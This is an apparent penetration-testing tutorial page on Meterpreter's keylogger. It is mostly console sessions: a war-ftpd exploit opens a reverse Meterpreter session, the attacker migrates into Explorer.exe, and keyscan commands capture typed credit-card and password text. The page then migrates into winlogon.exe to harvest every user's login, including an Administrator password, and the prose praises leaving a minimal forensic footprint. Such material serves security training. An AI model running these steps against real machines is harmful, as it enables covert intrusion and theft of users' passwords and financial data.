Keylogging a11y.text Keylogging Using a Keylogger with Metasploit a11y.text Using a Keylogger with Metasploit After you have exploited a system there are two different approaches you can take, either smash and grab or low and slow. Low and slow can lead to a ton of great information, if you have the patience and discipline. One tool you can use for low and slow information gathering is the keystroke logger script with Meterpreter. This tool is very well designed, allowing you to capture all keyboard input from the system, without writing anything to disk, leaving a minimal forensic footprint for investigators to later follow up on. Perfect for getting passwords, user accounts, and all sorts of other valuable information. Lets take a look at it in action. First, we will exploit a system as normal.

```
msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 4 opened (172.16.104.130:4444 -> 172.16.104.145:1246)
```

meterpreter > Then, we will migrate Meterpreter to the Explorer.exe process so that we donâ€™t have to worry about the exploited process getting reset and closing our session. meterpreter > ps

```
Process list
```

```
============

   PID   Name              Path
   ---   ----              ----
   140   smss.exe          \SystemRoot\System32\smss.exe
   188   winlogon.exe      ??\C:\WINNT\system32\winlogon.exe
   216   services.exe      C:\WINNT\system32\services.exe
   228   lsass.exe         C:\WINNT\system32\lsass.exe
   380   svchost.exe       C:\WINNT\system32\svchost.exe
   408   spoolsv.exe       C:\WINNT\system32\spoolsv.exe
   444   svchost.exe       C:\WINNT\System32\svchost.exe
   480   regsvc.exe        C:\WINNT\system32\regsvc.exe
   500   MSTask.exe        C:\WINNT\system32\MSTask.exe
   528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe
   588   WinMgmt.exe       C:\WINNT\System32\WBEMWinMgmt.exe
   664   notepad.exe       C:\WINNT\System32\notepad.exe
   724   cmd.exe           C:\WINNT\System32\cmd.exe
   768   Explorer.exe      C:\WINNT\Explorer.exe
   800   war-ftpd.exe      C:\Program Files\War-ftpd\war-ftpd.exe
   888   VMwareTray.exe    C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   896   VMwareUser.exe    C:\Program Files\VMware\VMware Tools\VMwareUser.exe
   940   firefox.exe       C:\Program Files\Mozilla Firefox\firefox.exe
   972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
   1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > migrate 768
```

```
[*] Migrating to 768...

[*] Migration completed successfully.

meterpreter > getpid

Current pid: 768 Finally, we start the keylogger, wait for some time and dump the output.

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

   tgoogle.cm my credit amex   myusernamthi     amexpasswordpassword Could not be easier!
```

Notice how keystrokes such as control and backspace are represented. As an added bonus, if you want to capture system login information you would just migrate to the winlogon process. This will capture the credentials of all users logging into the system as long as this is running. meterpreter > ps

```
Process list
=================


PID Name        Path
--- ----        ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe


meterpreter > migrate 401


[*] Migrating to 401...

[*] Migration completed successfully.
```

```
meterpreter > keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!
```

Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system and capture it. We have captured the Administrator logging in with a password of â€˜ohnoes1vebeenh4x0red!â€™. Next Meterpreter Backdoor Prev Maintaining Access